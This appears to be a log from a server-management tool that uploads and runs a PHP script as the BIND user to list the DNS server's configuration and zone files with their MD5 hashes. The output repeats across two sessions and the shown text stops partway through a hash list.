MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:03:51: Establishing a connection
2026-04-25 18:03:52: 

PUT: /tmp/pkp928630

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:03:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp928630; rm /tmp/pkp928630'

2026-04-25 18:03:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:03:52: Establishing a connection
2026-04-25 18:03:52: 

PUT: /tmp/pkp849925

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:03:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp849925; rm /tmp/pkp849925'

2026-04-25 18:03:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
